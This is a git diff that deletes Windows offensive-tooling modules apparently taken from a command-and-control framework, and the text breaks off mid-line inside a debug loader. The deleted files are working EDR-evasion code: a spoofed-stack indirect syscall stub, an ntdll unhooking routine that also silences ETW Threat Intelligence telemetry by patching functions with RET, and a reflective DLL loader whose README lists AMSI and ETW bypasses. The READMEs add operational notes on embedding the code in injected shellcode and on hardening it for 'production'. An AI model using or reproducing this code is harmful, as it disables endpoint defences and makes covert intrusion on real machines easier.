sc_frame2 (ret in ntdll .text — outer spoof frame) - * [rsp+0x10] = original return address back to our code - * - * Nt* ABI remapping performed: - * rax = SSN, r10 = a1, rdx = a2, r8 = a3, r9 = a4 - * [rsp+0x28..0x58] = a5..a11 - */ - - .text - .extern sc_gadget - .extern sc_frame1 - .extern sc_frame2 - - .global sc_call -sc_call: - /* Pre-save a5/a6 before touching the stack — their positions shift after subq */ - movq 0x30(%rsp), %r10 - movq 0x38(%rsp), %r11 - - /* Grow stack by 16 bytes: make room for 2 fake return addresses */ - subq $0x10, %rsp - - /* Write spoof frames at the new top of stack */ - movq sc_frame2(%rip), %rax - movq %rax, 0x08(%rsp) /* outer frame: ntdll ret gadget */ - movq sc_frame1(%rip), %rax - movq %rax, 0x00(%rsp) /* inner frame: KernelBase ret gadget */ - - /* Store a5/a6 at their final positions ([rsp+0x28], [rsp+0x30]) */ - movq %r10, 0x28(%rsp) - movq %r11, 0x30(%rsp) - - /* Remap args to Nt* ABI: r10=a1, rdx=a2, r8=a3, r9=a4 */ - movq %rdx, %r10 - movq %r8, %rdx - movq %r9, %r8 - movq 0x38(%rsp), %r9 - - /* Shift a7..a11 down by 0x10 into their final stack positions */ - movq 0x50(%rsp), %r11 ; movq %r11, 0x38(%rsp) - movq 0x58(%rsp), %r11 ; movq %r11, 0x40(%rsp) - movq 0x60(%rsp), %r11 ; movq %r11, 0x48(%rsp) - movq 0x68(%rsp), %r11 ; movq %r11, 0x50(%rsp) - movq 0x70(%rsp), %r11 ; movq %r11, 0x58(%rsp) - - /* Load SSN into eax (lower 16 bits of rcx) */ - movzwl %cx, %eax - - /* Indirect jump: execute syscall;ret inside ntdll — not our code */ - jmpq *sc_gadget(%rip) diff --git a/techniques/ntdll-unhook/Makefile b/techniques/ntdll-unhook/Makefile deleted file mode 100644 index 5ac9bcc..0000000 --- a/techniques/ntdll-unhook/Makefile +++ /dev/null @@ -1,27 +0,0 @@ -CC = x86_64-w64-mingw32-gcc -CFLAGS = -O2 -Wall -Wextra \ - -Iinclude \ - -fno-asynchronous-unwind-tables \ - -fno-ident \ - -fno-stack-protector -LDFLAGS = -lntdll - -SRC = src/ntdll_unhook.c src/demo.c -OBJ = $(patsubst src/%.c, build/%.o, $(SRC)) -TARGET = build/demo.exe - -all: build $(TARGET) - -build: - mkdir -p build - -build/%.o: src/%.c - $(CC) $(CFLAGS) -c $< -o $@ - -$(TARGET): $(OBJ) - $(CC) $(CFLAGS) $(OBJ) -o $@ $(LDFLAGS) - -clean: - rm -rf build - -.PHONY: all clean diff --git a/techniques/ntdll-unhook/README.md b/techniques/ntdll-unhook/README.md deleted file mode 100644 index e423dbe..0000000 --- a/techniques/ntdll-unhook/README.md +++ /dev/null @@ -1,112 +0,0 @@ -# ntdll-unhook - -Restore ntdll.dll `.text` from a fresh disk mapping to remove EDR inline hooks. Also patches `EtwTi*` telemetry functions with a single `RET`. - -Extracted from [KHAOS C2](https://github.com/28Zaaky/khaos-c2). - ---- - -## How it works - -EDR products hook ntdll syscall stubs by overwriting the first bytes with a `JMP` to their trampoline: - -``` -NtOpenProcess (hooked): - E9 xx xx xx xx JMP - ... - -NtOpenProcess (clean): - 4C 8B D1 mov r10, rcx - B8 26 00 00 00 mov eax, 0x26 ; SSN - 0F 05 syscall - C3 ret -``` - -### ntdll_unhook() - -``` -CreateFileW(SystemDir\ntdll.dll, GENERIC_READ) - | - v -CreateFileMappingW(PAGE_READONLY | SEC_IMAGE) <- kernel maps + validates PE - | - v -MapViewOfFile(FILE_MAP_READ) <- clean image, no hooks - | - v -walk .text section in disk image - | - v -NtProtectVirtualMemory(live .text, PAGE_EXECUTE_READWRITE) -memcpy(live .text, disk .text, VirtualSize) -NtProtectVirtualMemory(live .text, original perms) -``` - -Key: `SEC_IMAGE` tells the kernel to map the file as a PE image (applying relocations, verifying signature). The result is a clean in-memory copy of ntdll identical to what the Windows loader would produce — before any userland hooks are applied. - -`NtProtectVirtualMemory` is used instead of `VirtualProtect` because `VirtualProtect` itself goes through ntdll and may be hooked. - -### ntdll_patch_etw_ti() - -Patches three functions in ntdll that feed the kernel ETW-TI (Threat Intelligence) provider: - -| Function | Event | -|---|---| -| `EtwTiLogOpenProcess` | fires on `NtOpenProcess` | -| `EtwTiLogReadWriteVm` | fires on `NtReadVirtualMemory` / `NtWriteVirtualMemory` | -| `EtwTiLogDuplicateHandle` | fires on `NtDuplicateObject` | - -Each is overwritten with `0xC3` (RET). These functions are in ntdll's `.text` section and do not require kernel interaction to patch. - ---- - -## API - -```c -int ntdll_unhook(void); // restore .text — returns 0 on success, -1 on failure -int ntdll_patch_etw_ti(void); // patch 3 EtwTi functions — returns count patched (0-3) -``` - ---- - -## Build - -```bash -make -build/demo.exe -``` - -Expected output on an unhooked system: - -``` -[*] NtOpenProcess bytes before unhook: -[before] 4C 8B D1 B8 26 00 00 00 -[*] ntdll_unhook() = 0 (OK) -[*] NtOpenProcess bytes after unhook: -[after ] 4C 8B D1 B8 26 00 00 00 -[+] stub is clean -[*] ntdll_patch_etw_ti() patched 3/3 functions -``` - -On an EDR-hooked system, `before` will show `E9 ...` (JMP trampoline) and `after` will show the clean syscall stub. - ---- - -## Limitations - -- Restores `.text` only — hooks in other sections (`.data`, import table patching) are not removed. -- Does not re-register exception tables (`.pdata`) for the restored `.text`. If the EDR modified anything related to unwind data, this won't fix it. -- `EtwTi*` patch survives ntdll reload but not process restart. -- Some EDR products monitor `NtMapViewOfSection` for `SEC_IMAGE` mappings of system DLLs. Consider calling `ntdll_unhook` as early as possible (before EDR's DLL loads). - ---- - -## Operational notes - -Call order matters: unhook ntdll **before** patching ETW-TI, so `NtProtectVirtualMemory` calls in `ntdll_patch_etw_ti` go through a clean syscall stub. - -For cross-process injection, unhook in the **target process** context by embedding this code in your shellcode or reflective DLL payload — not from the injector. - ---- - -*Part of [KHAOS C2](https://github.com/28Zaaky/khaos-c2) — by [28Zaaky](https://github.com/28Zaaky)* diff --git a/techniques/ntdll-unhook/build/demo.exe b/techniques/ntdll-unhook/build/demo.exe deleted file mode 100644 index cb4af10..0000000 Binary files a/techniques/ntdll-unhook/build/demo.exe and /dev/null differ diff --git a/techniques/ntdll-unhook/include/ntdll_unhook.h b/techniques/ntdll-unhook/include/ntdll_unhook.h deleted file mode 100644 index 8f44836..0000000 --- a/techniques/ntdll-unhook/include/ntdll_unhook.h +++ /dev/null @@ -1,23 +0,0 @@ -#pragma once -#include - -/* - * ntdll_unhook() - * - * Restores the live ntdll.dll .text section from a fresh copy mapped - * directly from disk using SEC_IMAGE (bypasses filesystem hooks). - * Overwrites any userland inline hooks (e.g. EDR trampolines) with - * clean bytes from the on-disk image. - * - * Returns 0 on success, -1 on failure. - * - * ntdll_patch_etw_ti() - * - * Patches EtwTiLogOpenProcess, EtwTiLogReadWriteVm, EtwTiLogDuplicateHandle - * with a single RET byte via NtProtectVirtualMemory, silencing ETW-TI - * telemetry for process open / memory read-write / handle dup events. - * - * Returns number of functions patched (0-3). - */ -int ntdll_unhook(void); -int ntdll_patch_etw_ti(void); diff --git a/techniques/ntdll-unhook/src/demo.c b/techniques/ntdll-unhook/src/demo.c deleted file mode 100644 index d465e11..0000000 --- a/techniques/ntdll-unhook/src/demo.c +++ /dev/null @@ -1,50 +0,0 @@ -#include "ntdll_unhook.h" -#include -#include - -/* - * Demo: read the first 6 bytes of NtOpenProcess before and after unhooking. - * - * A hooked stub looks like: - * E9 xx xx xx xx xx JMP - * - * A clean stub looks like: - * 4C 8B D1 mov r10, rcx - * B8 xx 00 00 00 mov eax, - * 0F 05 syscall - * C3 ret - */ -static void print_bytes(const char *label, const BYTE *p, int n) -{ - printf("[%s] ", label); - for (int i = 0; i < n; i++) printf("%02X ", p[i]); - printf("\n"); -} - -int main(void) -{ - HMODULE ntdll = GetModuleHandleA("ntdll.dll"); - BYTE *fn = (BYTE *)(void *)GetProcAddress(ntdll, "NtOpenProcess"); - - printf("[*] NtOpenProcess bytes before unhook:\n"); - print_bytes("before", fn, 8); - - int rc = ntdll_unhook(); - printf("[*] ntdll_unhook() = %d (%s)\n", rc, rc == 0 ? "OK" : "FAIL"); - - printf("[*] NtOpenProcess bytes after unhook:\n"); - print_bytes("after ", fn, 8); - - /* Expected clean pattern: 4C 8B D1 B8 00 00 */ - int clean = (fn[0] == 0x4C && fn[1] == 0x8B && fn[2] == 0xD1 && fn[3] == 0xB8); - printf("[%s] stub is %s\n", clean ? "+" : "!", clean ? "clean" : "still hooked or unknown"); - - /* ETW-TI patch — only present on specific Windows builds (PPL/ETW-TI enabled) */ - int n = ntdll_patch_etw_ti(); - if (n > 0) - printf("[+] ntdll_patch_etw_ti() patched %d/3 functions\n", n); - else - printf("[*] ntdll_patch_etw_ti(): EtwTi* exports not present on this build (normal on consumer SKUs)\n"); - - return clean ? 0 : 1; -} diff --git a/techniques/ntdll-unhook/src/ntdll_unhook.c b/techniques/ntdll-unhook/src/ntdll_unhook.c deleted file mode 100644 index a9ebefc..0000000 --- a/techniques/ntdll-unhook/src/ntdll_unhook.c +++ /dev/null @@ -1,124 +0,0 @@ -#include "ntdll_unhook.h" -#include -#include -#include - -/* - * PoC note: uses GetModuleHandleA/GetProcAddress with plaintext strings. - * In production, replace with a PEB walk and encrypted string storage. - * See agent/src/evasion/evasion.c in KHAOS C2 for the hardened version. - */ - -/* NtProtectVirtualMemory — used instead of VirtualProtect to avoid - * hooking the hook-removal function itself. */ -typedef NTSTATUS (NTAPI *NtPVM_t)(HANDLE, PVOID *, PSIZE_T, ULONG, PULONG); - -static NtPVM_t _get_ntpvm(void) -{ - static NtPVM_t fn = NULL; - if (!fn) - fn = (NtPVM_t)(void *)GetProcAddress( - GetModuleHandleA("ntdll.dll"), "NtProtectVirtualMemory"); - return fn; -} - -static BOOL _nt_prot(LPVOID addr, SIZE_T sz, DWORD prot, DWORD *old) -{ - NtPVM_t fn = _get_ntpvm(); - if (!fn) return FALSE; - PVOID base = addr; - SIZE_T rsz = sz; - ULONG _old = 0; - NTSTATUS st = fn((HANDLE)(LONG_PTR)-1, &base, &rsz, (ULONG)prot, &_old); - if (old) *old = (DWORD)_old; - return st == 0; -} - -int ntdll_unhook(void) -{ - /* Build ntdll.dll path: GetSystemDirectoryW + \ntdll.dll */ - WCHAR path[MAX_PATH]; - UINT dir_len = GetSystemDirectoryW(path, MAX_PATH); - if (!dir_len || dir_len > MAX_PATH - 12) return -1; - - const WCHAR suffix[] = { - L'\\',L'n',L't',L'd',L'l',L'l',L'.',L'd',L'l',L'l',L'\0' - }; - for (int i = 0; suffix[i]; i++) path[dir_len + i] = suffix[i]; - path[dir_len + 10] = L'\0'; - - /* Map ntdll from disk via SEC_IMAGE — kernel validates the PE, - * bypasses any filesystem filter hooks, gives us a clean image. */ - HANDLE hFile = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, - NULL, OPEN_EXISTING, 0, NULL); - if (hFile == INVALID_HANDLE_VALUE) return -1; - - HANDLE hMap = CreateFileMappingW(hFile, NULL, - PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); - CloseHandle(hFile); - if (!hMap) return -1; - - LPVOID disk = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0); - CloseHandle(hMap); - if (!disk) return -1; - - int rc = -1; - - /* Get live ntdll base */ - HMODULE live = GetModuleHandleA("ntdll.dll"); - if (!live) goto cleanup; - - /* Walk PE sections to find .text */ - IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)disk; - if (dos->e_magic != IMAGE_DOS_SIGNATURE) goto cleanup; - IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)((BYTE *)disk + dos->e_lfanew); - if (nt->Signature != IMAGE_NT_SIGNATURE) goto cleanup; - - IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt); - for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) { - if (memcmp(sec->Name, ".text", 5) != 0) continue; - - LPVOID live_text = (BYTE *)live + sec->VirtualAddress; - LPVOID disk_text = (BYTE *)disk + sec->VirtualAddress; - SIZE_T text_sz = sec->Misc.VirtualSize; - - DWORD old; - if (!_nt_prot(live_text, text_sz, PAGE_EXECUTE_READWRITE, &old)) - break; - memcpy(live_text, disk_text, text_sz); - _nt_prot(live_text, text_sz, old, &old); - rc = 0; - break; - } - -cleanup: - UnmapViewOfFile(disk); - return rc; -} - -int ntdll_patch_etw_ti(void) -{ - HMODULE ntdll = GetModuleHandleA("ntdll.dll"); - if (!ntdll) return 0; - - /* ETW-TI functions that report process/memory/handle activity to the - * kernel ETW provider — patching them suppresses cross-process telemetry. */ - static const char *targets[] = { - "EtwTiLogOpenProcess", - "EtwTiLogReadWriteVm", - "EtwTiLogDuplicateHandle", - }; - - int patched = 0; - for (int i = 0; i < 3; i++) { - BYTE *fn = (BYTE *)(void *)GetProcAddress(ntdll, targets[i]); - if (!fn) continue; - - DWORD old; - if (!_nt_prot(fn, 1, PAGE_EXECUTE_READWRITE, &old)) continue; - *fn = 0xC3; /* RET */ - _nt_prot(fn, 1, old, &old); - patched++; - } - return patched; -} diff --git a/techniques/reflect-dll/.gitignore b/techniques/reflect-dll/.gitignore deleted file mode 100644 index 79b039d..0000000 --- a/techniques/reflect-dll/.gitignore +++ /dev/null @@ -1,3 +0,0 @@ -build/ -*.o -*.a diff --git a/techniques/reflect-dll/Makefile b/techniques/reflect-dll/Makefile deleted file mode 100644 index f116bbc..0000000 --- a/techniques/reflect-dll/Makefile +++ /dev/null @@ -1,28 +0,0 @@ -CC = x86_64-w64-mingw32-gcc -CFLAGS = -O2 -Wall -Wextra \ - -Iinclude \ - -fno-asynchronous-unwind-tables \ - -fno-ident \ - -fno-stack-protector -LDFLAGS = -Wl,--file-alignment,0x1000 - -DLL_SRC = src/reflect.c src/example_dll.c -EXE_SRC = examples/loader.c -DLL_OUT = build/example.dll -EXE_OUT = build/loader.exe - -all: build $(DLL_OUT) $(EXE_OUT) - -build: - mkdir -p build - -$(DLL_OUT): $(DLL_SRC) - $(CC) $(CFLAGS) $(LDFLAGS) -shared -o $@ $^ - -$(EXE_OUT): $(EXE_SRC) - $(CC) $(CFLAGS) -o $@ $^ - -clean: - rm -rf build - -.PHONY: all clean diff --git a/techniques/reflect-dll/README.md b/techniques/reflect-dll/README.md deleted file mode 100644 index 78447ae..0000000 --- a/techniques/reflect-dll/README.md +++ /dev/null @@ -1,43 +0,0 @@ -# ShdwLdr - -Reflective DLL loader for Windows x64. Maps a raw DLL from memory without the Windows loader. - -By 28Zaaky — [KHAOS C2](https://github.com/28Zaaky/khaos-c2) - -## Techniques - -- Hash-based API resolution (ROR13, no plaintext strings) -- Hell's Gate + Halos Gate + Tartarus Gate (direct syscalls, hooked stub recovery) -- Per-section permissions via `NtProtectVirtualMemory` syscall -- TLS callbacks + slot allocation before `DllMain` -- `RtlAddFunctionTable` for x64 SEH -- AMSI + ETW bypass -- Header erasure, security cookie init - -## Build - -```bash -x86_64-w64-mingw32-gcc -O2 -Iinclude -fno-asynchronous-unwind-tables \ - -fno-ident -fno-stack-protector -Wl,--file-alignment,0x1000 \ - -shared -o build/example.dll src/reflect.c src/example_dll.c - -x86_64-w64-mingw32-gcc -O2 -Iinclude -fno-asynchronous-unwind-tables \ - -fno-ident -fno-stack-protector -o build/loader.exe examples/loader.c -``` - -> `--file-alignment,0x1000` : `PointerToRawData == VirtualAddress` — required for RIP-relative access while running from the raw buffer. - -## Usage - -```c -uint8_t *mem = VirtualAlloc(NULL, sz, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE); -memcpy(mem, raw_dll, sz); -typedef ULONG_PTR (WINAPI *RL_t)(LPVOID); -ULONG_PTR base = ((RL_t)find_export(mem, "ReflectiveLoader"))(mem); -``` - -## Notes - -- x64 only. No module list entry added. -- Module stomping disabled — `LoadLibraryExA(DONT_RESOLVE_DLL_REFERENCES)` calls `DllMain` on Win10+. Needs `NtMapViewOfSection`. -- `_rl_dbg` export contains runtime telemetry (SSNs, alloc method) — strip for production. diff --git a/techniques/reflect-dll/build/debug_loader.exe b/techniques/reflect-dll/build/debug_loader.exe deleted file mode 100644 index 6fc8808..0000000 Binary files a/techniques/reflect-dll/build/debug_loader.exe and /dev/null differ diff --git a/techniques/reflect-dll/build/example.dll b/techniques/reflect-dll/build/example.dll deleted file mode 100644 index d97b439..0000000 Binary files a/techniques/reflect-dll/build/example.dll and /dev/null differ diff --git a/techniques/reflect-dll/build/example.enc b/techniques/reflect-dll/build/example.enc deleted file mode 100644 index e69de29..0000000 diff --git a/techniques/reflect-dll/build/example_dbg.dll b/techniques/reflect-dll/build/example_dbg.dll deleted file mode 100644 index 7bb073d..0000000 Binary files a/techniques/reflect-dll/build/example_dbg.dll and /dev/null differ diff --git a/techniques/reflect-dll/build/loader.exe b/techniques/reflect-dll/build/loader.exe deleted file mode 100644 index b53e317..0000000 Binary files a/techniques/reflect-dll/build/loader.exe and /dev/null differ diff --git a/techniques/reflect-dll/examples/loader.c b/techniques/reflect-dll/examples/loader.c deleted file mode 100644 index 2faf7f3..0000000 --- a/techniques/reflect-dll/examples/loader.c +++ /dev/null @@ -1,225 +0,0 @@ -// Example loader for the reflective DLL. -// It reads the raw DLL from disk, copies it into RWX memory, -// finds ReflectiveLoader in the raw image, and calls it. - -#include -#include -#include -#include - -// convert a raw RVA to a raw file offset -static DWORD rva_to_off(const uint8_t *buf, const IMAGE_NT_HEADERS *nt, DWORD rva) -{ - const IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt); - WORD nsec = nt->FileHeader.NumberOfSections; - for (WORD i = 0; i < nsec; i++) - { - if (rva >= sec[i].VirtualAddress && - rva < sec[i].VirtualAddress + sec[i].SizeOfRawData) - return rva - sec[i].VirtualAddress + sec[i].PointerToRawData; - } - return 0; - (void)buf; -} - -// find an export in the raw DLL buffer and return the function address in memory -static LPVOID find_export_in_raw(const uint8_t *buf, size_t bufsz, - const uint8_t *mem, const char *name) -{ - if (bufsz < sizeof(IMAGE_DOS_HEADER)) - return NULL; - const IMAGE_DOS_HEADER *dos = (const IMAGE_DOS_HEADER *)buf; - if (dos->e_magic != IMAGE_DOS_SIGNATURE) - return NULL; - - const IMAGE_NT_HEADERS *nt = (const IMAGE_NT_HEADERS *)(buf + dos->e_lfanew); - if (nt->Signature != IMAGE_NT_SIGNATURE) - return NULL; - - DWORD expRva = nt->OptionalHeader - .DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT] - .VirtualAddress; - if (!expRva) - return NULL; - - DWORD expOff = rva_to_off(buf, nt, expRva); - if (!expOff) - return NULL; - - const IMAGE_EXPORT_DIRECTORY *exp = (const IMAGE_EXPORT_DIRECTORY *)(buf + expOff); - - DWORD namesOff = rva_to_off(buf, nt, exp->AddressOfNames); - DWORD ordsOff = rva_to_off(buf, nt, exp->AddressOfNameOrdinals); - DWORD funcsOff = rva_to_off(buf, nt, exp->AddressOfFunctions); - if (!namesOff || !ordsOff || !funcsOff) - return NULL; - - DWORD *names = (DWORD *)(buf + namesOff); - WORD *ords = (WORD *)(buf + ordsOff); - DWORD *funcs = (DWORD *)(buf + funcsOff); - - for (DWORD i = 0; i < exp->NumberOfNames; i++) - { - DWORD nameOff = rva_to_off(buf, nt, names[i]); - if (!nameOff) - continue; - const char *n = (const char *)(buf + nameOff); - if (strcmp(n, name) == 0) - { - DWORD fnRva = funcs[ords[i]]; - DWORD fnOff = rva_to_off(buf, nt, fnRva); - return fnOff ? (LPVOID)(mem + fnOff) : NULL; - } - } - return NULL; -} - -// read the raw DLL file into memory -static uint8_t *read_file(const char *path, size_t *out_size) -{ - HANDLE hf = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, - NULL, OPEN_EXISTING, 0, NULL); - if (hf == INVALID_HANDLE_VALUE) - return NULL; - - DWORD sz = GetFileSize(hf, NULL); - if (sz == INVALID_FILE_SIZE || sz == 0) - { - CloseHandle(hf); - return NULL; - } - - uint8_t *b = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, sz); - if (!b) - { - CloseHandle(hf); - return NULL; - } - - DWORD rd; - if (!ReadFile(hf, b, sz, &rd, NULL) || rd != sz) - { - HeapFree(GetProcessHeap(), 0, b); - CloseHandle(hf); - return NULL; - } - CloseHandle(hf); - *out_size = sz; - return b; -} - -int main(int argc, char **argv) -{ - char dll_path[MAX_PATH]; - - if (argc > 1) - { - strncpy(dll_path, argv[1], MAX_PATH - 1); - dll_path[MAX_PATH - 1] = '\0'; - } - else - { - char exe_path[MAX_PATH]; - DWORD len = GetModuleFileNameA(NULL, exe_path, MAX_PATH); - if (len == 0 || len >= MAX_PATH) - return 1; - - // build default path in the same directory as loader.exe - char *sep = strrchr(exe_path, '\\'); - if (sep) - *(sep + 1) = '\0'; - else - exe_path[0] = '\0'; - - snprintf(dll_path, MAX_PATH, "%sexample.dll", exe_path); - } - - printf("[*] reading %s\n", dll_path); - size_t sz = 0; - uint8_t *buf = read_file(dll_path, &sz); - if (!buf) - { - fprintf(stderr, "[!] read failed (error %lu)\n", GetLastError()); - return 1; - } - printf("[+] %zu bytes read\n", sz); - - // allocate RWX memory for the raw DLL image - uint8_t *mem = (uint8_t *)VirtualAlloc(NULL, sz, - MEM_RESERVE | MEM_COMMIT, - PAGE_EXECUTE_READWRITE); - if (!mem) - { - fprintf(stderr, "[!] VirtualAlloc failed (%lu)\n", GetLastError()); - HeapFree(GetProcessHeap(), 0, buf); - return 1; - } - memcpy(mem, buf, sz); - printf("[+] raw DLL at %p (RWX, %zu bytes)\n", (void *)mem, sz); - - // locate ReflectiveLoader in the raw image and call it - typedef ULONG_PTR(WINAPI *RL_t)(LPVOID); - RL_t fn = (RL_t)find_export_in_raw(buf, sz, mem, "ReflectiveLoader"); - HeapFree(GetProcessHeap(), 0, buf); - - if (!fn) - { - fprintf(stderr, "[!] ReflectiveLoader export not found\n"); - VirtualFree(mem, 0, MEM_RELEASE); - return 1; - } - printf("[+] ReflectiveLoader at %p\n", (void *)fn); - - printf("[*] calling ReflectiveLoader...\n"); - ULONG_PTR base = fn(mem); - if (!base) - { - fprintf(stderr, "[!] ReflectiveLoader returned 0\n"); - VirtualFree(mem, 0, MEM_RELEASE); - return 1; - } - printf("[+] DLL mapped at 0x%llx\n", (unsigned long long)base); - - // read debug telemetry written into mem[] by ReflectiveLoader before section copy - typedef struct { uint16_t ssn_alloc; uint16_t ssn_protect; uint32_t alloc_method; } RL_DBG; - RL_DBG *dbg = (RL_DBG *)find_export_in_raw(mem, sz, mem, "_rl_dbg"); - if (dbg) - { - const char *method = dbg->alloc_method == 1 ? "Hell's Gate (NtAllocateVirtualMemory syscall)" - : dbg->alloc_method == 2 ? "VirtualAlloc (fallback)" - : "unknown"; - printf("[*] alloc method : %s\n", method); - if (dbg->ssn_alloc != 0xFFFF) - printf("[*] ssn NtAllocateVirtualMemory : 0x%04x\n", dbg->ssn_alloc); - else - printf("[*] ssn NtAllocateVirtualMemory : not found (ntdll hooked?)\n"); - if (dbg->ssn_protect != 0xFFFF) - printf("[*] ssn NtProtectVirtualMemory : 0x%04x\n", dbg->ssn_protect); - else - printf("[*] ssn NtProtectVirtualMemory : not found (ntdll hooked?)\n"); - } - - // check if the marker file was created - char marker[MAX_PATH]; - DWORD n = GetEnvironmentVariableA("TEMP", marker, MAX_PATH - 20); - if (n && n < MAX_PATH - 20) - { - // DllMain marker - const char *s = "\\reflect_demo.txt"; - int i = 0; - for (i = 0; s[i]; i++) marker[n + i] = s[i]; - marker[n + i] = '\0'; - printf("[%c] DllMain marker : %s\n", - GetFileAttributesA(marker) != INVALID_FILE_ATTRIBUTES ? '+' : '!', marker); - - // TLS callback marker - s = "\\reflect_tls.txt"; - for (i = 0; s[i]; i++) marker[n + i] = s[i]; - marker[n + i] = '\0'; - printf("[%c] TLS callback : %s\n", - GetFileAttributesA(marker) != INVALID_FILE_ATTRIBUTES ? '+' : '!', marker); - } - - VirtualFree(mem, 0, MEM_RELEASE); - return 0; -} \ No newline at end of file diff --git a/techniques/reflect-dll/include/reflect.h b/techniques/reflect-dll/include/reflect.h deleted file mode 100644 index d71f732..0000000 --- a/techniques/reflect-dll/include/reflect.h +++ /dev/null @@ -1,6 +0,0 @@ -#pragma once -#include - -// Exported entry point for the reflective DLL. -// lpParameter is the raw image base in the target process. -ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter); diff --git a/techniques/reflect-dll/src/debug_loader.c b/techniques/reflect-dll/src/debug_loader.c deleted file mode 100644 index 6ce69d7..0000000 --- a/techniques/reflect-dll/src/debug_loader.c +++ /dev/null @@ -1,283 +0,0 @@ -// debug_loader.c: a verbose step-by-step version of ReflectiveLoader. -// This program runs with normal IAT resolution and prints each stage. - -#include -#include -#include -#include -#include - -// case-insensitive compare for ascii strings -static int _eq(const char *a, const char *b) -{ - while (*a && *b && (*a | 0x20) == (*b | 0x20)) - { - a++; - b++; - } - return !*a && !*b; -} - -// compare wide string and ascii string for n characters -static int _weq(const WCHAR *w, const char *s, int n) -{ - for (int i = 0; i < n; i++) - { - if (!w[i] && !s[i]) - return 1; - if (!w[i] || !s[i]) - return 0; - if ((w[i] | 0x20) != ((unsigned char)s[i] | 0x20)) - return 0; - } - return 1; -} - -static uint8_t *buf = NULL; -static size_t bufsz = 0; - -// convert a raw RVA into a file offset inside the raw buffer -static DWORD rva2off(DWORD rva) -{ - IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)buf; - IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(buf + dos->e_lfanew); - IMAGE_SECTION_HEADER *s = IMAGE_FIRST_SECTION(nt); - for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, s++) - { - if (rva >= s->VirtualAddress && rva < s->VirtualAddress + s->SizeOfRawData) - return rva - s->VirtualAddress + s->PointerToRawData; - } - return 0; -} - -// read an entire file into memory -static uint8_t *read_file(const char *path, size_t *out) -{ - HANDLE h = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); - if (h == INVALID_HANDLE_VALUE) - return NULL; - - DWORD sz = GetFileSize(h, NULL); - uint8_t *b = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, sz); - DWORD rd; - ReadFile(h, b, sz, &rd, NULL); - CloseHandle(h); - *out = sz; - return b; -} - -int main(int argc, char **argv) -{ - const char *path = argc > 1 ? argv[1] : "build\\example.dll"; - - printf("[*] reading %s\n", path); - buf = read_file(path, &bufsz); - if (!buf) - { - fprintf(stderr, "[!] read failed %lu\n", GetLastError()); - return 1; - } - printf("[+] %zu bytes\n", bufsz); - - IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)buf; - IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(buf + dos->e_lfanew); - printf("[+] ImageBase=0x%llx SizeOfImage=0x%lx SizeOfHeaders=0x%lx\n", - (unsigned long long)nt->OptionalHeader.ImageBase, - (unsigned long)nt->OptionalHeader.SizeOfImage, - (unsigned long)nt->OptionalHeader.SizeOfHeaders); - - // STEP 1: find ReflectiveLoader export in the raw file - DWORD expRva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; - DWORD expOff = rva2off(expRva); - if (!expOff) - { - fprintf(stderr, "[!] no export dir\n"); - return 1; - } - - IMAGE_EXPORT_DIRECTORY *exp = (IMAGE_EXPORT_DIRECTORY *)(buf + expOff); - DWORD *names = (DWORD *)(buf + rva2off(exp->AddressOfNames)); - WORD *ords = (WORD *)(buf + rva2off(exp->AddressOfNameOrdinals)); - DWORD *funcs = (DWORD *)(buf + rva2off(exp->AddressOfFunctions)); - - DWORD rl_rva = 0; - for (DWORD i = 0; i < exp->NumberOfNames; i++) - { - const char *n = (const char *)(buf + rva2off(names[i])); - if (strcmp(n, "ReflectiveLoader") == 0) - { - rl_rva = funcs[ords[i]]; - break; - } - } - - DWORD rl_off = rva2off(rl_rva); - printf("[+] ReflectiveLoader: RVA=0x%lx rawOff=0x%lx\n", (unsigned long)rl_rva, (unsigned long)rl_off); - - // STEP 2: copy the raw DLL into RWX memory - uint8_t *mem = (uint8_t *)VirtualAlloc(NULL, bufsz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - memcpy(mem, buf, bufsz); - printf("[+] raw copy at %p\n", (void *)mem); - - // STEP 3: print section info - printf("[*] sections:\n"); - IMAGE_NT_HEADERS *mnt = (IMAGE_NT_HEADERS *)(mem + dos->e_lfanew); - IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(mnt); - for (WORD i = 0; i < mnt->FileHeader.NumberOfSections; i++, sec++) - { - char name[9] = {0}; - memcpy(name, sec->Name, 8); - printf(" [%d] %-8s VA=0x%08lx raw=0x%08lx sz=0x%lx\n", i, name, - (unsigned long)sec->VirtualAddress, - (unsigned long)sec->PointerToRawData, - (unsigned long)sec->SizeOfRawData); - } - - // STEP 4: simulate finding the module base from the function address - ULONG_PTR fn_addr = (ULONG_PTR)(mem + rl_off); - ULONG_PTR scan = fn_addr & ~0xFFFUL; - int found_mz = 0; - ULONG_PTR found_base = 0; - for (int i = 0; i < 4096; i++, scan -= 0x1000) - { - if (!IsBadReadPtr((void *)scan, 2) && *(WORD *)scan == 0x5A4D) - { - IMAGE_DOS_HEADER *d = (IMAGE_DOS_HEADER *)scan; - if ((ULONG_PTR)d->e_lfanew <= 0x400) - { - IMAGE_NT_HEADERS *n2 = (IMAGE_NT_HEADERS *)(scan + d->e_lfanew); - if (n2->Signature == 0x00004550 && n2->OptionalHeader.SizeOfImage > 0) - { - found_base = scan; - found_mz = 1; - break; - } - } - } - } - printf("[+] _rl_find_own_base scan: 